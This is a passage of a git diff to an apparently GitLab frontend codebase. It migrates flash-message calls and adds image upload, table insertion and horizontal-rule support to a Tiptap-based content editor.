- this.state.applications.elastic_stack.updateAvailable = updateAvailable;
- }
- });
- }
-
- updateHostnameIfUnset(current, updated, fallback) {
- return (
- current ||
- updated ||
- (this.state.applications.ingress.externalIp
- ? `${fallback}.${this.state.applications.ingress.externalIp}.nip.io`
- : '')
- );
}
toggleFetchEnvironments(isFetching) {
diff --git a/app/assets/javascripts/clusters_list/store/actions.js b/app/assets/javascripts/clusters_list/store/actions.js
index 40a86a1e58c..5f35a0b26f3 100644
--- a/app/assets/javascripts/clusters_list/store/actions.js
+++ b/app/assets/javascripts/clusters_list/store/actions.js
@@ -1,5 +1,5 @@
import * as Sentry from '@sentry/browser';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
import Poll from '~/lib/utils/poll';
@@ -64,7 +64,9 @@ export const fetchClusters = ({ state, commit, dispatch }) => {
commit(types.SET_LOADING_CLUSTERS, false);
commit(types.SET_LOADING_NODES, false);
- flash(__('Clusters|An error occurred while loading clusters'));
+ createFlash({
+ message: __('Clusters|An error occurred while loading clusters'),
+ });
dispatch('reportSentryError', { error: response, tag: 'fetchClustersErrorCallback' });
},
diff --git a/app/assets/javascripts/code_quality_walkthrough/utils.js b/app/assets/javascripts/code_quality_walkthrough/utils.js
index 97c80f6eff7..894ec9a171d 100644
--- a/app/assets/javascripts/code_quality_walkthrough/utils.js
+++ b/app/assets/javascripts/code_quality_walkthrough/utils.js
@@ -1,6 +1,7 @@
import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
import { getExperimentData } from '~/experimentation/utils';
-import { setCookie, getCookie, getParameterByName } from '~/lib/utils/common_utils';
+import { setCookie, getCookie } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import Tracking from '~/tracking';
import { EXPERIMENT_NAME } from './constants';
diff --git a/app/assets/javascripts/commit/pipelines/pipelines_bundle.js b/app/assets/javascripts/commit/pipelines/pipelines_bundle.js
index 29ad6cc4125..8d88b682df2 100644
--- a/app/assets/javascripts/commit/pipelines/pipelines_bundle.js
+++ b/app/assets/javascripts/commit/pipelines/pipelines_bundle.js
@@ -1,5 +1,4 @@
import Vue from 'vue';
-import CommitPipelinesTable from './pipelines_table.vue';
/**
* Used in:
@@ -14,25 +13,24 @@ export default () => {
if (pipelineTableViewEl) {
// Update MR and Commits tabs
pipelineTableViewEl.addEventListener('update-pipelines-count', (event) => {
- if (
- event.detail.pipelines &&
- event.detail.pipelines.count &&
- event.detail.pipelines.count.all
- ) {
+ if (event.detail.pipelineCount) {
const badge = document.querySelector('.js-pipelines-mr-count');
- badge.textContent = event.detail.pipelines.count.all;
+ badge.textContent = event.detail.pipelineCount;
}
});
if (pipelineTableViewEl.dataset.disableInitialization === undefined) {
const table = new Vue({
+ components: {
+ CommitPipelinesTable: () => import('~/commit/pipelines/pipelines_table.vue'),
+ },
provide: {
artifactsEndpoint: pipelineTableViewEl.dataset.artifactsEndpoint,
artifactsEndpointPlaceholder: pipelineTableViewEl.dataset.artifactsEndpointPlaceholder,
},
render(createElement) {
- return createElement(CommitPipelinesTable, {
+ return createElement('commit-pipelines-table', {
props: {
endpoint: pipelineTableViewEl.dataset.endpoint,
emptyStateSvgPath: pipelineTableViewEl.dataset.emptyStateSvgPath,
diff --git a/app/assets/javascripts/commit/pipelines/pipelines_table.vue b/app/assets/javascripts/commit/pipelines/pipelines_table.vue
index ddca5bc7d4f..42d46dc3d5d 100644
--- a/app/assets/javascripts/commit/pipelines/pipelines_table.vue
+++ b/app/assets/javascripts/commit/pipelines/pipelines_table.vue
@@ -1,6 +1,6 @@
<script>
import { GlButton, GlEmptyState, GlLoadingIcon, GlModal, GlLink } from '@gitlab/ui';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import PipelinesTableComponent from '~/pipelines/components/pipelines_list/pipelines_table.vue';
import eventHub from '~/pipelines/event_hub';
import PipelinesMixin from '~/pipelines/mixins/pipelines_mixin';
@@ -133,15 +133,15 @@ export default {
this.store.storePagination(resp.headers);
this.setCommonData(pipelines);
- const updatePipelinesEvent = new CustomEvent('update-pipelines-count', {
- detail: {
- pipelines: resp.data,
- },
- });
+ if (resp.headers?.['x-total']) {
+ const updatePipelinesEvent = new CustomEvent('update-pipelines-count', {
+ detail: { pipelineCount: resp.headers['x-total'] },
+ });
- // notifiy to update the count in tabs
- if (this.$el.parentElement) {
- this.$el.parentElement.dispatchEvent(updatePipelinesEvent);
+ // notifiy to update the count in tabs
+ if (this.$el.parentElement) {
+ this.$el.parentElement.dispatchEvent(updatePipelinesEvent);
+ }
}
},
/**
@@ -251,7 +251,7 @@ export default {
}}
</p>
<gl-link
- href="/help/ci/merge_request_pipelines/index.html#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project"
+ href="/help/ci/pipelines/merge_request_pipelines.html#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project"
target="_blank"
>
{{ s__('Pipelines|More Information') }}
diff --git a/app/assets/javascripts/commit_merge_requests.js b/app/assets/javascripts/commit_merge_requests.js
index e382356841c..f973bf51b57 100644
--- a/app/assets/javascripts/commit_merge_requests.js
+++ b/app/assets/javascripts/commit_merge_requests.js
@@ -1,6 +1,5 @@
-/* global Flash */
-
import $ from 'jquery';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { n__, s__ } from './locale';
@@ -71,5 +70,9 @@ export function fetchCommitMergeRequests() {
$container.html($content);
})
- .catch(() => Flash(s__('Commits|An error occurred while fetching merge requests data.')));
+ .catch(() =>
+ createFlash({
+ message: s__('Commits|An error occurred while fetching merge requests data.'),
+ }),
+ );
}
diff --git a/app/assets/javascripts/commits.js b/app/assets/javascripts/commits.js
index da7fc88d8ac..39dc4a4e9e5 100644
--- a/app/assets/javascripts/commits.js
+++ b/app/assets/javascripts/commits.js
@@ -93,7 +93,7 @@ export default class CommitsList {
.text(n__('%d commit', '%d commits', commitsCount));
}
- localTimeAgo($processedData.find('.js-timeago'));
+ localTimeAgo($processedData.find('.js-timeago').get());
return processedData;
}
diff --git a/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue b/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
index 6b07b7e3772..5f778af1dbb 100644
--- a/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
+++ b/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlLink, GlSprintf } from '@gitlab/ui';
+import createFlash from '~/flash';
import Api from '../../api';
-import createFlash from '../../flash';
import { __ } from '../../locale';
import state from '../state';
import Dropdown from './dropdown.vue';
diff --git a/app/assets/javascripts/content_editor/components/content_editor.vue b/app/assets/javascripts/content_editor/components/content_editor.vue
index c6ab2e189ef..9a51def7075 100644
--- a/app/assets/javascripts/content_editor/components/content_editor.vue
+++ b/app/assets/javascripts/content_editor/components/content_editor.vue
@@ -1,10 +1,12 @@
<script>
+import { GlAlert } from '@gitlab/ui';
import { EditorContent as TiptapEditorContent } from '@tiptap/vue-2';
import { ContentEditor } from '../services/content_editor';
import TopToolbar from './top_toolbar.vue';
export default {
components: {
+ GlAlert,
TiptapEditorContent,
TopToolbar,
},
@@ -14,15 +16,30 @@ export default {
required: true,
},
},
+ data() {
+ return {
+ error: '',
+ };
+ },
+ mounted() {
+ this.contentEditor.tiptapEditor.on('error', (error) => {
+ this.error = error;
+ });
+ },
};
</script>
<template>
- <div
- data-testid="content-editor"
- class="md-area"
- :class="{ 'is-focused': contentEditor.tiptapEditor.isFocused }"
- >
- <top-toolbar class="gl-mb-4" :content-editor="contentEditor" />
- <tiptap-editor-content class="md" :editor="contentEditor.tiptapEditor" />
+ <div>
+ <gl-alert v-if="error" class="gl-mb-6" variant="danger" @dismiss="error = ''">
+ {{ error }}
+ </gl-alert>
+ <div
+ data-testid="content-editor"
+ class="md-area"
+ :class="{ 'is-focused': contentEditor.tiptapEditor.isFocused }"
+ >
+ <top-toolbar ref="toolbar" class="gl-mb-4" :content-editor="contentEditor" />
+ <tiptap-editor-content class="md" :editor="contentEditor.tiptapEditor" />
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/content_editor/components/toolbar_image_button.vue b/app/assets/javascripts/content_editor/components/toolbar_image_button.vue
new file mode 100644
index 00000000000..ebeee16dbec
--- /dev/null
+++ b/app/assets/javascripts/content_editor/components/toolbar_image_button.vue
@@ -0,0 +1,110 @@
+<script>
+import {
+ GlDropdown,
+ GlDropdownForm,
+ GlButton,
+ GlFormInputGroup,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlTooltipDirective as GlTooltip,
+} from '@gitlab/ui';
+import { Editor as TiptapEditor } from '@tiptap/vue-2';
+import { acceptedMimes } from '../extensions/image';
+import { getImageAlt } from '../services/utils';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownForm,
+ GlFormInputGroup,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlButton,
+ },
+ directives: {
+ GlTooltip,
+ },
+ props: {
+ tiptapEditor: {
+ type: TiptapEditor,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ imgSrc: '',
+ };
+ },
+ methods: {
+ resetFields() {
+ this.imgSrc = '';
+ this.$refs.fileSelector.value = '';
+ },
+ insertImage() {
+ this.tiptapEditor
+ .chain()
+ .focus()
+ .setImage({
+ src: this.imgSrc,
+ canonicalSrc: this.imgSrc,
+ alt: getImageAlt(this.imgSrc),
+ })
+ .run();
+
+ this.resetFields();
+ this.emitExecute();
+ },
+ emitExecute(source = 'url') {
+ this.$emit('execute', { contentType: 'image', value: source });
+ },
+ openFileUpload() {
+ this.$refs.fileSelector.click();
+ },
+ onFileSelect(e) {
+ this.tiptapEditor
+ .chain()
+ .focus()
+ .uploadImage({
+ file: e.target.files[0],
+ })
+ .run();
+
+ this.resetFields();
+ this.emitExecute('upload');
+ },
+ },
+ acceptedMimes,
+};
+</script>
+<template>
+ <gl-dropdown
+ v-gl-tooltip
+ :aria-label="__('Insert image')"
+ :title="__('Insert image')"
+ size="small"
+ category="tertiary"
+ icon="media"
+ @hidden="resetFields()"
+ >
+ <gl-dropdown-form class="gl-px-3!">
+ <gl-form-input-group v-model="imgSrc" :placeholder="__('Image URL')">
+ <template #append>
+ <gl-button variant="confirm" @click="insertImage">{{ __('Insert') }}</gl-button>
+ </template>
+ </gl-form-input-group>
+ </gl-dropdown-form>
+ <gl-dropdown-divider />
+ <gl-dropdown-item @click="openFileUpload">
+ {{ __('Upload image') }}
+ </gl-dropdown-item>
+
+ <input
+ ref="fileSelector"
+ type="file"
+ name="content_editor_image"
+ :accept="$options.acceptedMimes"
+ class="gl-display-none"
+ @change="onFileSelect"
+ />
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/content_editor/components/toolbar_link_button.vue b/app/assets/javascripts/content_editor/components/toolbar_link_button.vue
index f706080eaa1..8f57959a73f 100644
--- a/app/assets/javascripts/content_editor/components/toolbar_link_button.vue
+++ b/app/assets/javascripts/content_editor/components/toolbar_link_button.vue
@@ -43,14 +43,22 @@ export default {
},
mounted() {
this.tiptapEditor.on('selectionUpdate', ({ editor }) => {
- const { href } = editor.getAttributes(linkContentType);
+ const { canonicalSrc, href } = editor.getAttributes(linkContentType);
- this.linkHref = href;
+ this.linkHref = canonicalSrc || href;
});
},
methods: {
updateLink() {
- this.tiptapEditor.chain().focus().unsetLink().setLink({ href: this.linkHref }).run();
+ this.tiptapEditor
+ .chain()
+ .focus()
+ .unsetLink()
+ .setLink({
+ href: this.linkHref,
+ canonicalSrc: this.linkHref,
+ })
+ .run();
this.$emit('execute', { contentType: linkContentType });
},
diff --git a/app/assets/javascripts/content_editor/components/toolbar_table_button.vue b/app/assets/javascripts/content_editor/components/toolbar_table_button.vue
new file mode 100644
index 00000000000..49d3006e9bf
--- /dev/null
+++ b/app/assets/javascripts/content_editor/components/toolbar_table_button.vue
@@ -0,0 +1,91 @@
+<script>
+import { GlDropdown, GlDropdownDivider, GlDropdownForm, GlButton } from '@gitlab/ui';
+import { Editor as TiptapEditor } from '@tiptap/vue-2';
+import { __, sprintf } from '~/locale';
+import { clamp } from '../services/utils';
+
+export const tableContentType = 'table';
+
+const MIN_ROWS = 3;
+const MIN_COLS = 3;
+const MAX_ROWS = 8;
+const MAX_COLS = 8;
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownForm,
+ GlButton,
+ },
+ props: {
+ tiptapEditor: {
+ type: TiptapEditor,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ maxRows: MIN_ROWS,
+ maxCols: MIN_COLS,
+ rows: 1,
+ cols: 1,
+ };
+ },
+ methods: {
+ list(n) {
+ return new Array(n).fill().map((_, i) => i + 1);
+ },
+ setRowsAndCols(rows, cols) {
+ this.rows = rows;
+ this.cols = cols;
+ this.maxRows = clamp(rows + 1, MIN_ROWS, MAX_ROWS);
+ this.maxCols = clamp(cols + 1, MIN_COLS, MAX_COLS);
+ },
+ resetState() {
+ this.rows = 1;
+ this.cols = 1;
+ },
+ insertTable() {
+ this.tiptapEditor
+ .chain()
+ .focus()
+ .insertTable({
+ rows: this.rows,
+ cols: this.cols,
+ withHeaderRow: true,
+ })
+ .run();
+
+ this.resetState();
+
+ this.$emit('execute', { contentType: 'table' });
+ },
+ getButtonLabel(rows, cols) {
+ return sprintf(__('Insert a %{rows}x%{cols} table.'), { rows, cols });
+ },
+ },
+};
+</script>
+<template>
+ <gl-dropdown size="small" category="tertiary" icon="table">
+ <gl-dropdown-form class="gl-px-3! gl-w-auto!">
+ <div class="gl-w-auto!">
+ <div v-for="r of list(maxRows)" :key="r" class="gl-display-flex">
+ <gl-button
+ v-for="c of list(maxCols)"
+ :key="c"
+ :data-testid="`table-${r}-${c}`"
+ :class="{ 'gl-bg-blue-50!': r <= rows && c <= cols }"
+ :aria-label="getButtonLabel(r, c)"
+ class="gl-display-inline! gl-px-0! gl-w-5! gl-h-5! gl-rounded-0!"
+ @mouseover="setRowsAndCols(r, c)"
+ @click="insertTable()"
+ />
+ </div>
+ <gl-dropdown-divider />
+ {{ getButtonLabel(rows, cols) }}
+ </div>
+ </gl-dropdown-form>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/content_editor/components/top_toolbar.vue b/app/assets/javascripts/content_editor/components/top_toolbar.vue
index d3363ce092b..fafc7a660e7 100644
--- a/app/assets/javascripts/content_editor/components/top_toolbar.vue
+++ b/app/assets/javascripts/content_editor/components/top_toolbar.vue
@@ -4,7 +4,9 @@ import { CONTENT_EDITOR_TRACKING_LABEL, TOOLBAR_CONTROL_TRACKING_ACTION } from '
import { ContentEditor } from '../services/content_editor';
import Divider from './divider.vue';
import ToolbarButton from './toolbar_button.vue';
+import ToolbarImageButton from './toolbar_image_button.vue';
import ToolbarLinkButton from './toolbar_link_button.vue';
+import ToolbarTableButton from './toolbar_table_button.vue';
import ToolbarTextStyleDropdown from './toolbar_text_style_dropdown.vue';
const trackingMixin = Tracking.mixin({
@@ -16,6 +18,8 @@ export default {
ToolbarButton,
ToolbarTextStyleDropdown,
ToolbarLinkButton,
+ ToolbarTableButton,
+ ToolbarImageButton,
Divider,
},
mixins: [trackingMixin],
@@ -87,6 +91,12 @@ export default {
@execute="trackToolbarControlExecution"
/>
<divider />
+ <toolbar-image-button
+ ref="imageButton"
+ data-testid="image"
+ :tiptap-editor="contentEditor.tiptapEditor"
+ @execute="trackToolbarControlExecution"
+ />
<toolbar-button
data-testid="blockquote"
content-type="blockquote"
@@ -123,5 +133,23 @@ export default {
:tiptap-editor="contentEditor.tiptapEditor"
@execute="trackToolbarControlExecution"
/>
+ <toolbar-button
+ data-testid="horizontal-rule"
+ content-type="horizontalRule"
+ icon-name="dash"
+ editor-command="setHorizontalRule"
+ :label="__('Add a horizontal rule')"
+ :tiptap-editor="contentEditor.tiptapEditor"
+ @execute="trackToolbarControlExecution"
+ />
+ <toolbar-table-button
+ :tiptap-editor="contentEditor.tiptapEditor"
+ @execute="trackToolbarControlExecution"
+ />
</div>
</template>
+<style>
+.gl-spinner-container {
+ text-align: left;
+}
+</style>
diff --git a/app/assets/javascripts/content_editor/components/wrappers/image.vue b/app/assets/javascripts/content_editor/components/wrappers/image.vue
new file mode 100644
index 00000000000..3762324a431
--- /dev/null
+++ b/app/assets/javascripts/content_editor/components/wrappers/image.vue
@@ -0,0 +1,31 @@
+<script>
+import { GlLoadingIcon } from '@gitlab/ui';
+import { NodeViewWrapper } from '@tiptap/vue-2';
+
+export default {
+ name: 'ImageWrapper',
+ components: {
+ NodeViewWrapper,
+ GlLoadingIcon,
+ },
+ props: {
+ node: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+<template>
+ <node-view-wrapper class="gl-display-inline-block">
+ <span class="gl-relative">
+ <img
+ data-testid="image"
+ class="gl-max-w-full gl-h-auto"
+ :class="{ 'gl-opacity-5': node.attrs.uploading }"
+ :src="node.attrs.src"
+ />
+ <gl-loading-icon v-if="node.attrs.uploading" class="gl-absolute gl-left-50p gl-top-half" />
+ </span>
+ </node-view-wrapper>
+</template>
diff --git a/app/assets/javascripts/content_editor/extensions/hard_break.js b/app/assets/javascripts/content_editor/extensions/hard_break.js
index dc1ba431151..756eefa875c 100644
--- a/app/assets/javascripts/content_editor/extensions/hard_break.js
+++ b/app/assets/javascripts/content_editor/extensions/hard_break.js
@@ -1,5 +1,13 @@
import { HardBreak } from '@tiptap/extension-hard-break';
import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
-export const tiptapExtension = HardBreak;
+const ExtendedHardBreak = HardBreak.extend({
+ addKeyboardShortcuts() {
+ return {
+ 'Shift-Enter': () => this.editor.commands.setHardBreak(),
+ };
+ },
+});
+
+export const tiptapExtension = ExtendedHardBreak;
export const serializer = defaultMarkdownSerializer.nodes.hard_break;
diff --git a/app/assets/javascripts/content_editor/extensions/horizontal_rule.js b/app/assets/javascripts/content_editor/extensions/horizontal_rule.js
index dcc59476518..c287938af5c 100644
--- a/app/assets/javascripts/content_editor/extensions/horizontal_rule.js
+++ b/app/assets/javascripts/content_editor/extensions/horizontal_rule.js
@@ -1,5 +1,12 @@
+import { nodeInputRule } from '@tiptap/core';
import { HorizontalRule } from '@tiptap/extension-horizontal-rule';
import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
-export const tiptapExtension = HorizontalRule;
+export const hrInputRuleRegExp = /^---$/;
+
+export const tiptapExtension = HorizontalRule.extend({
+ addInputRules() {
+ return [nodeInputRule(hrInputRuleRegExp, this.type)];
+ },
+});
export const serializer = defaultMarkdownSerializer.nodes.horizontal_rule;
diff --git a/app/assets/javascripts/content_editor/extensions/image.js b/app/assets/javascripts/content_editor/extensions/image.js
index 287216e68d5..4dd8a1376ad 100644
--- a/app/assets/javascripts/content_editor/extensions/image.js
+++ b/app/assets/javascripts/content_editor/extensions/image.js
@@ -1,10 +1,65 @@
import { Image } from '@tiptap/extension-image';
-import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
+import { VueNodeViewRenderer } from '@tiptap/vue-2';
+import { Plugin, PluginKey } from 'prosemirror-state';
+import { __ } from '~/locale';
+import ImageWrapper from '../components/wrappers/image.vue';
+import { uploadFile } from '../services/upload_file';
+import { getImageAlt, readFileAsDataURL } from '../services/utils';
+
+export const acceptedMimes = ['image/jpeg', 'image/png', 'image/gif', 'image/jpg'];
+
+const resolveImageEl = (element) =>
+ element.nodeName === 'IMG' ? element : element.querySelector('img');
+
+const startFileUpload = async ({ editor, file, uploadsPath, renderMarkdown }) => {
+ const encodedSrc = await readFileAsDataURL(file);
+ const { view } = editor;
+
+ editor.commands.setImage({ uploading: true, src: encodedSrc });
+
+ const { state } = view;
+ const position = state.selection.from - 1;
+ const { tr } = state;
+
+ try {
+ const { src, canonicalSrc } = await uploadFile({ file, uploadsPath, renderMarkdown });
+
+ view.dispatch(
+ tr.setNodeMarkup(position, undefined, {
+ uploading: false,
+ src: encodedSrc,
+ alt: getImageAlt(src),
+ canonicalSrc,
+ }),
+ );
+ } catch (e) {
+ editor.commands.deleteRange({ from: position, to: position + 1 });
+ editor.emit('error', __('An error occurred while uploading the image. Please try again.'));
+ }
+};
+
+const handleFileEvent = ({ editor, file, uploadsPath, renderMarkdown }) => {
+ if (acceptedMimes.includes(file?.type)) {
+ startFileUpload({ editor, file, uploadsPath, renderMarkdown });
+
+ return true;
+ }
+
+ return false;
+};
const ExtendedImage = Image.extend({
+ defaultOptions: {
+ ...Image.options,
+ uploadsPath: null,
+ renderMarkdown: null,
+ },
addAttributes() {
return {
...this.parent?.(),
+ uploading: {
+ default: false,
+ },
src: {
default: null,
/*
@@ -14,17 +69,25 @@ const ExtendedImage = Image.extend({
* attribute.
*/
parseHTML: (element) => {
- const img = element.querySelector('img');
+ const img = resolveImageEl(element);
return {
src: img.dataset.src || img.getAttribute('src'),
};
},
},
+ canonicalSrc: {
+ default: null,
+ parseHTML: (element) => {
+ return {
+ canonicalSrc: element.dataset.canonicalSrc,
+ };
+ },
+ },
alt: {
default: null,
parseHTML: (element) => {
- const img = element.querySelector('img');
+ const img = resolveImageEl(element);
return {
alt: img.getAttribute('alt'),
@@ -44,7 +107,62 @@ const ExtendedImage = Image.extend({
},
];
},
-}).configure({ inline: true });
+ addCommands() {
+ return {
+ ...this.parent(),
+ uploadImage: ({ file }) => () => {
+ const { uploadsPath, renderMarkdown } = this.options;
+
+ handleFileEvent({ file, uploadsPath, renderMarkdown, editor: this.editor });
+ },
+ };
+ },
+ addProseMirrorPlugins() {
+ const { editor } = this;
+
+ return [
+ new Plugin({
+ key: new PluginKey('handleDropAndPasteImages'),
+ props: {
+ handlePaste: (_, event) => {
+ const { uploadsPath, renderMarkdown } = this.options;
+
+ return handleFileEvent({
+ editor,
+ file: event.clipboardData.files[0],
+ uploadsPath,
+ renderMarkdown,
+ });
+ },
+ handleDrop: (_, event) => {
+ const { uploadsPath, renderMarkdown } = this.options;
+
+ return handleFileEvent({
+ editor,
+ file: event.dataTransfer.files[0],
+ uploadsPath,
+ renderMarkdown,
+ });
+ },
+ },
+ }),
+ ];
+ },
+ addNodeView() {
+ return VueNodeViewRenderer(ImageWrapper);
+ },
+});
+
+const serializer = (state, node) => {
+ const { alt, canonicalSrc, src, title } = node.attrs;
+ const quotedTitle = title ? ` ${state.quote(title)}` : '';
+
+ state.write(`![${state.esc(alt || '')}](${state.esc(canonicalSrc || src)}${quotedTitle})`);
+};
-export const tiptapExtension = ExtendedImage;
-export const serializer = defaultMarkdownSerializer.nodes.image;
+export const configure = ({ renderMarkdown, uploadsPath }) => {
+ return {
+ tiptapExtension: ExtendedImage.configure({ inline: true, renderMarkdown, uploadsPath }),
+ serializer,
+ };
+};
diff --git a/app/assets/javascripts/content_editor/extensions/link.js b/app/assets/javascripts/content_editor/extensions/link.js
index 6f5f81cbf93..12019ab4636 100644
--- a/app/assets/javascripts/content_editor/extensions/link.js
+++ b/app/assets/javascripts/content_editor/extensions/link.js
@@ -1,9 +1,7 @@
import { markInputRule } from '@tiptap/core';
import { Link } from '@tiptap/extension-link';
-import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
export const markdownLinkSyntaxInputRuleRegExp = /(?:^|\s)\[([\w|\s|-]+)\]\((?<href>.+?)\)$/gm;
-
export const urlSyntaxRegExp = /(?:^|\s)(?<href>(?:https?:\/\/|www\.)[\S]+)(?:\s|\n)$/gim;
const extractHrefFromMatch = (match) => {
@@ -29,8 +27,37 @@ export const tiptapExtension = Link.extend({
markInputRule(urlSyntaxRegExp, this.type, extractHrefFromMatch),
];
},
+ addAttributes() {
+ return {
+ ...this.parent?.(),
+ href: {
+ default: null,
+ parseHTML: (element) => {
+ return {
+ href: element.getAttribute('href'),
+ };
+ },
+ },
+ canonicalSrc: {
+ default: null,
+ parseHTML: (element) => {
+ return {
+ canonicalSrc: element.dataset.canonicalSrc,
+ };
+ },
+ },
+ };
+ },
}).configure({
openOnClick: false,
});
-export const serializer = defaultMarkdownSerializer.marks.link;
+export const serializer = {
+ open() {
+ return '[';
+ },
+ close(state, mark) {
+ const href = mark.attrs.canonicalSrc || mark.attrs.href;
+ return `](${state.esc(href)}${mark.attrs.title ? ` ${state.quote(mark.attrs.title)}` : ''})`;
+ },
+};
diff --git a/app/assets/javascripts/content_editor/extensions/table.js b/app/assets/javascripts/content_editor/extensions/table.js
new file mode 100644
index 00000000000..566f7a21a85
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/table.js
@@ -0,0 +1,7 @@
+import { Table } from '@tiptap/extension-table';
+
+export const tiptapExtension = Table;
+
+export function serializer(state, node) {
+ state.renderContent(node);
+}
diff --git a/app/assets/javascripts/content_editor/extensions/table_cell.js b/app/assets/javascripts/content_editor/extensions/table_cell.js
new file mode 100644
index 00000000000..6c25b867466
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/table_cell.js
@@ -0,0 +1,9 @@
+import { TableCell } from '@tiptap/extension-table-cell';
+
+export const tiptapExtension = TableCell.extend({
+ content: 'inline*',
+});
+
+export function serializer(state, node) {
+ state.renderInline(node);
+}
diff --git a/app/assets/javascripts/content_editor/extensions/table_header.js b/app/assets/javascripts/content_editor/extensions/table_header.js
new file mode 100644
index 00000000000..3475857b9e6
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/table_header.js
@@ -0,0 +1,9 @@
+import { TableHeader } from '@tiptap/extension-table-header';
+
+export const tiptapExtension = TableHeader.extend({
+ content: 'inline*',
+});
+
+export function serializer(state, node) {
+ state.renderInline(node);
+}
diff --git a/app/assets/javascripts/content_editor/extensions/table_row.js b/app/assets/javascripts/content_editor/extensions/table_row.js
new file mode 100644
index 00000000000..07d2eb4faa2
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/table_row.js
@@ -0,0 +1,51 @@
+import { TableRow } from '@tiptap/extension-table-row';
+
+export const tiptapExtension = TableRow.extend({
+ allowGapCursor: false,
+});
+
+export function serializer(state, node) {
+ const isHeaderRow = node.child(0).type.name === 'tableHeader';
+
+ const renderRow = () => {
+ const cellWidths = [];
+
+ state.flushClose(1);
+
+ state.write('| ');
+ node.forEach((cell, _, i) => {
+ if (i) state.write(' | ');
+
+ const { length } = state.out;
+ state.render(cell, node, i);
+ cellWidths.push(state.out.length - length);
+ });
+ state.write(' |');
+
+ state.closeBlock(node);
+
+ return cellWidths;
+ };
+
+ const renderHeaderRow = (cellWidths) => {
+ state.flushClose(1);
+
+ state.write('|');
+ node.forEach((cell, _, i) => {
+ if (i) state.write('|');
+
+ state.write(cell.attrs.align === 'center' ? ':' : '-');
+ state.write(state.repeat('-', cellWidths[i]));
+ state.write(cell.attrs.align === 'center' || cell.attrs.align === 'right' ? ':' : '-');
+ });
+ state.write('|');
+
+ state.closeBlock(node);
+ };
+
+ if (isHeaderRow) {
+ renderHeaderRow(renderRow());
+ } else {
+ renderRow();
+ }
+}
diff --git a/app/assets/javascripts/content_editor/services/create_content_editor.js b/app/assets/javascripts/content_editor/services/create_content_editor.js
index 8a54da6f57d..9251fdbbdc5 100644
--- a/app/assets/javascripts/content_editor/services/create_content_editor.js
+++ b/app/assets/javascripts/content_editor/services/create_content_editor.js
@@ -20,35 +20,16 @@ import * as ListItem from '../extensions/list_item';
import * as OrderedList from '../extensions/ordered_list';
import * as Paragraph from '../extensions/paragraph';
import * as Strike from '../extensions/strike';
+import * as Table from '../extensions/table';
+import * as TableCell from '../extensions/table_cell';
+import * as TableHeader from '../extensions/table_header';
+import * as TableRow from '../extensions/table_row';
import * as Text from '../extensions/text';
import buildSerializerConfig from './build_serializer_config';
import { ContentEditor } from './content_editor';
import createMarkdownSerializer from './markdown_serializer';
import trackInputRulesAndShortcuts from './track_input_rules_and_shortcuts';
-const builtInContentEditorExtensions = [
- Blockquote,
- Bold,
- BulletList,
- Code,
- CodeBlockHighlight,
- Document,
- Dropcursor,
- Gapcursor,
- HardBreak,
- Heading,
- History,
- HorizontalRule,
- Image,
- Italic,
- Link,
- ListItem,
- OrderedList,
- Paragraph,
- Strike,
- Text,
-];
-
const collectTiptapExtensions = (extensions = []) =>
extensions.map(({ tiptapExtension }) => tiptapExtension);
@@ -63,11 +44,43 @@ const createTiptapEditor = ({ extensions = [], ...options } = {}) =>
...options,
});
-export const createContentEditor = ({ renderMarkdown, extensions = [], tiptapOptions } = {}) => {
+export const createContentEditor = ({
+ renderMarkdown,
+ uploadsPath,
+ extensions = [],
+ tiptapOptions,
+} = {}) => {
if (!isFunction(renderMarkdown)) {
throw new Error(PROVIDE_SERIALIZER_OR_RENDERER_ERROR);
}
+ const builtInContentEditorExtensions = [
+ Blockquote,
+ Bold,
+ BulletList,
+ Code,
+ CodeBlockHighlight,
+ Document,
+ Dropcursor,
+ Gapcursor,
+ HardBreak,
+ Heading,
+ History,
+ HorizontalRule,
+ Image.configure({ uploadsPath, renderMarkdown }),
+ Italic,
+ Link,
+ ListItem,
+ OrderedList,
+ Paragraph,
+ Strike,
+ TableCell,
+ TableHeader,
+ TableRow,
+ Table,
+ Text,
+ ];
+
const allExtensions = [...builtInContentEditorExtensions, ...extensions];
const tiptapExtensions = collectTiptapExtensions(allExtensions).map(trackInputRulesAndShortcuts);
const tiptapEditor = createTiptapEditor({ extensions: tiptapExtensions, ...tiptapOptions });
diff --git a/app/assets/javascripts/content_editor/services/upload_file.js b/app/assets/javascripts/content_editor/services/upload_file.js
new file mode 100644
index 00000000000..613c53144a1
--- /dev/null
+++ b/app/assets/javascripts/content_editor/services/upload_file.js
@@ -0,0 +1,44 @@
+import axios from '~/lib/utils/axios_utils';
+
